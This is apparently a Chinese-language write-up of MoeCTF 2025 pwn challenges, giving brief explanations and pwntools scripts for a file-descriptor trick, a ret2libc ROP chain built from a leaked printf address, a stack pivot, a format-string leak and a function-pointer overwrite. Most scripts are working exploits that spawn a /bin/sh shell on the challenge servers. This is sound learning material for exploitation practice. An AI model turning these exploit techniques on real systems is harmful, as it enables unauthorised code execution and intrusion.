MoeCTF 2025
zach0ry

100

find it(fd)

image-20250818133442382

dup回赋值这个文件描述符1的功能,所以在close(1)之后只能通过dup(1)复制的值3来作为输出到终端的文件描述符,会产生新的文件描述符的只有open和dup等函数

write和read是调用他

所以接下来,open()函数要产生新的小的文件描述符来指定文件位置

也就是1

所以脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = process("./fd")
p=remote("192.168.145.1",20880)
sh_shellcode = asm(shellcraft.sh())

p.recvuntil(b"I've hidden the fd of stdout. Can you find it?")
p.sendline(b"3")
p.recvuntil(b"You are right.What would you like to see?")
p.sendline(b"flag")
p.recvuntil(b"What is its fd?")
p.sendline(b"1")

p.interactive()

认识libc

image-20250818214358504

image-20250818214409440

接收printf的地址,用来泄露libc地址

但是查看ROP命令查看elf的pop|ret发现不够,所以用libc文件的

image-20250818214555621

基址加上偏移就可以了,所以可以正确放置参数

构造后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

libc = ELF("./libc.so.6")
elf = ELF("./libc")
#p=process("./libc")
p = remote("192.168.145.1", 26565)


p.recvuntil("printf': 0x")
printf_addr_str = p.recvline().strip()
printf = int(printf_addr_str, 16)
log.info("Leaked printf address: " + hex(printf))
libc_base = printf - libc.symbols["printf"]
log.success("Libc base: " + hex(libc_base))
rdi=libc_base+0x000000000002a3e5


system=libc_base+libc.symbols["system"]
bin=libc_base+0x1d8678
p.recvuntil(b">")
payload = b"A" *72
payload+=p64(rdi)+p64(bin)+p64(0x40101a)+p64(system)
p.sendline(payload)
p.interactive()

150

ezpivot

栈迁移

注意要用ret*0x100把栈地址抬高

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach1l
Date: 2025-08-19
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnscript import *


filename = "./ezpivot"
url = '127.0.0.1:33113'
gdbscript = '''
b * 0x000000000040130B
b * 0x000000000040133E
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='')
elf = ELF(filename)


desc = 0x0000000000404060
binsh_addr = 0x404880
pop_rdi = 0x0000000000401219
leave_ret = 0x000000000040133E
ret = 0x000000000040133F
system_plt = elf.plt['system']
system_addr = 0x000000000401230

p.sendlineafter("length of your introduction.\n" , b'-1')

payload = p64(ret) * 0x100 + p64(pop_rdi) + p64(0x404880) + p64(ret) + p64(system_addr) + b"/bin/sh\x00"

p.sendline(payload)

payload = b'a' * 0xc + p64(desc - 0x8) + p64(leave_ret)
p.sendlineafter("Now, please tell us your phone number:\n" , payload)

p.interactive()

fmt

找到两个参数的位置泄露出来

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach1l
Date: 2025-08-09
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnscript import *


filename = "./pwn4"
url = '127.0.0.1:39821'
gdbscript = '''
b * $rebase(0x0000000000001485)
b * $rebase(0x00000000000014C4)
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='')
elf = ELF(filename)

payload = b'%7$s---%10$p----'
p.sendlineafter("Hey there, little one, what's your name?" , payload)
p.recvuntil("Nice to meet you,")
str1 = p.recvuntil("---" , drop=True)
str2 = p.recvuntil("---" , drop=True).decode()



str2 = bytes.fromhex(str2[2:])[::-1].decode("utf-8")


print("=======1111" , str1)
print("=======2222" , str2)
p.sendlineafter("I buried two treasures on the stack.Can you find them?\n" , str2)
p.sendlineafter("Yeah,another one?" , str1)



p.interactive()

300

call_it

image-20250926201556936

image-20250926201424642

image-20250926201441141

image-20250926201453487

还有一个gift函数

image-20250926201504405

思路:通过输入0-5之外的数可以增加v2,让talks指向gestures,并且通过if ( !fgets(&talks[16 * v2], 16, stdin) )去输入这个gift,这个gift是取出后面一个作为参数,在后面一个调用,我们可以一依次放入bin/sh和system

image-20250926201540997

这里看到相距16个空位

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import sys
from LibcSearcher import *
file_path = "./111"
remote_host = "172.27.29.23"
remote_port = 4978
libc=ELF("libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
gdb.attach(p, "b*0x000000000040145E")

def sla(a, b):
p.sendlineafter(a, b)
def sa(a,b):
p.sendafter(a,b)
def pr(a,b):
print(a+b"==================="+hex(b).encode())

def choice(idx , content = '') :
p.sendlineafter("Choose your gesture: " , str(idx))
if 0 < idx < 6 :
p.sendlineafter("What should I say after this gesture? " , content)


choice(1 , b'/bin/sh\x00\n')

for i in range(7) :
choice(6)

gift = 0x0000000000401231
binsh_addr = 0x0000000000404060
system_addr = 0x0000000000401228

payload = p64(gift) + p64(binsh_addr)
choice(1 , payload[:-1])
choice(1 , p64(system_addr))
choice(0)

p.interactive()